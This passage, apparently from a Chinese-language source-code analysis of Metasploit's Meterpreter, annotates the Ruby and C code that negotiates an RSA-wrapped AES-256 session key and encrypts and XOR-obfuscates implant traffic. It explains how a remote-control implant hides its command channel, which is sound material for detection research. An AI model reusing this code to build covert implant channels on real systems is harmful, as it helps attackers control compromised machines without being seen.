rsa_pub_key = rsa_key.public_key
#创建一个命令CORE_NEGOTIATE_TLV_ENCRYPTION
request = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION)
#把RSA公钥发过去,被控端会用RSA来加密AES_KEY,避免在传输途中被人拿到
request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)
begin
#发命令给被控端
response = client.send_request(request, timeout)
#被控端返回一个AES_KEY(被RSA加密后的)
key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)
key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)
if key_enc
#用私钥解密AES_KEY
sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)
else
sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)
end
rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError
# 1) OpenSSL error may be due to padding issues (or something else)
# 2) Request error probably means the request isn't supported, so fallback to plain
end
{
key: sym_key,
type: key_type
}
end
在被控端meterpreter处理AES_KEY协商在
metasploit-payloads\c\meterpreter\source\metsrv\packet_encryption.c
DWORD request_negotiate_aes_key(Remote* remote, Packet* packet)
{
DWORD result = ERROR_SUCCESS;
Packet* response = packet_create_response(packet);
do
{
// 已经有的话释放掉
if (remote->enc_ctx != NULL)
{
free_encryption_context(remote);
}
remote->enc_ctx = (PacketEncryptionContext*)calloc(1, sizeof(PacketEncryptionContext));
if (remote->enc_ctx == NULL)
{
dprintf("[ENC] failed to allocate the encryption context");
result = ERROR_OUTOFMEMORY;
break;
}
PacketEncryptionContext* ctx = remote->enc_ctx;
//请求provider
for (int i = 0; i < _countof(AesProviders); ++i)
{
if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags))
{
result = GetLastError();
dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result);
}
else
{
result = ERROR_SUCCESS;
ctx->provider_idx = i;
dprintf("[ENC] managed to acquire the crypt context %d!", i);
break;
}
}
if (result != ERROR_SUCCESS)
{
break;
}
ctx->key_data.header.bType = PLAINTEXTKEYBLOB;
ctx->key_data.header.bVersion = CUR_BLOB_VERSION;
ctx->key_data.header.aiKeyAlg = CALG_AES_256;
ctx->key_data.length = sizeof(ctx->key_data.key);
//生成一个随机的AES_KEY
if (!CryptGenRandom(ctx->provider, ctx->key_data.length, ctx->key_data.key))
{
result = GetLastError();
dprintf("[ENC] failed to generate random key: %d (%x)", result, result);
break;
}
if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key))
{
result = GetLastError();
dprintf("[ENC] failed to import random key: %d (%x)", result, result);
break;
}
// now we need to encrypt this key data using the public key given
DWORD pubKeyDerLen = 0;
//获取控制端给的RSA公钥
BYTE* pubKeyDer = packet_get_tlv_value_raw(packet, TLV_TYPE_RSA_PUB_KEY, &pubKeyDerLen);
unsigned char* cipherText = NULL;
DWORD cipherTextLength = 0;
//用公钥加密AES_KEY
DWORD pubEncryptResult = public_key_encrypt(pubKeyDer, pubKeyDerLen, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length, &cipherText, &cipherTextLength);
//将加密后的AES_KEY放入Response包中
packet_add_tlv_uint(response, TLV_TYPE_SYM_KEY_TYPE, ENC_FLAG_AES256);
if (pubEncryptResult == ERROR_SUCCESS && cipherText != NULL)
{
// encryption succeeded, pass this key back to the call in encrypted form
packet_add_tlv_raw(response, TLV_TYPE_ENC_SYM_KEY, cipherText, cipherTextLength);
free(cipherText);
}
else
{
// no public key was given, so send it back in the raw
packet_add_tlv_raw(response, TLV_TYPE_SYM_KEY, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length);
}
ctx->valid = TRUE;
} while (0);
//返回response包,协商结束,之后的包使用AES_KEY加密.
packet_transmit_response(result, remote, response);
remote->enc_ctx->enabled = TRUE;
return ERROR_SUCCESS;
}
详细看下包加密的过程,整个包结构和之前基本相同,除了header和payload之间位置会用来存放一个随机的AES向量IV。
DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize)
{
DWORD result = ERROR_SUCCESS;
HCRYPTKEY dupKey = 0;
vdprintf("[ENC] Preparing for encryption ...");
// create a new XOR key here, because the content will be copied into the final
// payload as part of the prepration process
// 随机xor_key用于后续加密
rand_xor_key(packet->header.xor_key);
// copy the session ID to the header as this will be used later to identify the packet's destination session
memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->orig_config->session.session_guid, sizeof(remote->orig_config->session.session_guid));
// Only encrypt if the context was set up correctly
if (remote->enc_ctx != NULL && remote->enc_ctx->valid)
{
vdprintf("[ENC] Context is valid, moving on ... ");
// only encrypt the packet if encryption has been enabled
if (remote->enc_ctx->enabled)
{
do
{
vdprintf("[ENC] Context is enabled, doing the AES encryption");
//使用协商好的AES_KEY
if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey))
{
result = GetLastError();
vdprintf("[ENC] Failed to duplicate AES key: %d (%x)", result, result);
break;
}
DWORD mode = CRYPT_MODE_CBC;
if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0))
{
result = GetLastError();
dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result);
break;
}
//生成一个随机向量IV用户AES加密,这个IV会放在packet中
BYTE iv[AES256_BLOCKSIZE];
if (!CryptGenRandom(remote->enc_ctx->provider, sizeof(iv), iv))
{
result = GetLastError();
vdprintf("[ENC] Failed to generate random IV: %d (%x)", result, result);
}
vdprintf("[ENC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]);
if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0))
{
result = GetLastError();
vdprintf("[ENC] Failed to set IV: %d (%x)", result, result);
break;
}
vdprintf("[ENC] IV Set successfully");
// mark this packet as an encrypted packet
// 标记这个包是AES256加密包
packet->header.enc_flags = htonl(ENC_FLAG_AES256);
// Round up
DWORD maxEncryptSize = ((packet->payloadLength / AES256_BLOCKSIZE) + 1) * AES256_BLOCKSIZE;
// Need to have space for the IV at the start, as well as the packet Header
DWORD memSize = maxEncryptSize + sizeof(iv) + sizeof(packet->header);
//此处申请内存来放加密后的包
*buffer = (BYTE*)malloc(memSize);
BYTE* headerPos = *buffer;
//header后面放随机的向量IV
BYTE* ivPos = headerPos + sizeof(packet->header);
//真实的payload放在IV后
BYTE* payloadPos = ivPos + sizeof(iv);
*bufferSize = packet->payloadLength;
// prepare the payload
memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength);
//开始加密
if (!CryptEncrypt(dupKey, 0, TRUE, 0, payloadPos, bufferSize, maxEncryptSize))
{
result = GetLastError();
vdprintf("[ENC] Failed to encrypt: %d (%x)", result, result);
}
else
{
vdprintf("[ENC] Data encrypted successfully, size is %u", *bufferSize);
}
// update the length to match the size of the encrypted data with IV and the TlVHeader
// 加密后更新长度
packet->header.length = ntohl(*bufferSize + sizeof(iv) + sizeof(TlvHeader));
// update the returned total size to include both the IV and header size.
*bufferSize += sizeof(iv) + sizeof(packet->header);
// write the header and IV to the payload
// 随机向量和payload写入buffer
memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header));
memcpy_s(ivPos, sizeof(iv), iv, sizeof(iv));
} while (0);
}
else
{
dprintf("[ENC] Enabling the context");
// if the encryption is valid, then we set the enbaled flag here because
// we know that the first packet going out is the response to the negotiation
// and from here we want to make sure that the encryption function is on.
remote->enc_ctx->enabled = TRUE;
}
}
else
{
vdprintf("[ENC] No encryption context present");
}
// if we don't have a valid buffer at this point, we'll create one and add the packet as per normal
// 加密失败处理,还是用原来的包
if (*buffer == NULL)
{
*bufferSize = packet->payloadLength + sizeof(packet->header);
*buffer = (BYTE*)malloc(*bufferSize);
BYTE* headerPos = *buffer;
BYTE* payloadPos = headerPos + sizeof(packet->header);
// mark this packet as a non-encrypted packet
packet->header.enc_flags = htonl(ENC_FLAG_NONE);
memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header));
memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength);
}
vdprintf("[ENC] Packet buffer size is: %u", *bufferSize);
#ifdef DEBUGTRACE
LPBYTE h = *buffer;
vdprintf("[ENC] Sending header (before XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif
// finally XOR obfuscate like we always did before, skippig the xor key itself.
// 最后用之前随机出来的xor_key对整体数据加密
xor_bytes(packet->header.xor_key, *buffer + sizeof(packet->header.xor_key), *bufferSize - sizeof(packet->header.xor_key));
vdprintf("[ENC] Packet encoded and ready for transmission");
#ifdef DEBUGTRACE
vdprintf("[ENC] Sending header (after XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif
if (dupKey != 0)
{
CryptDestroyKey(dupKey);
}
return result;
}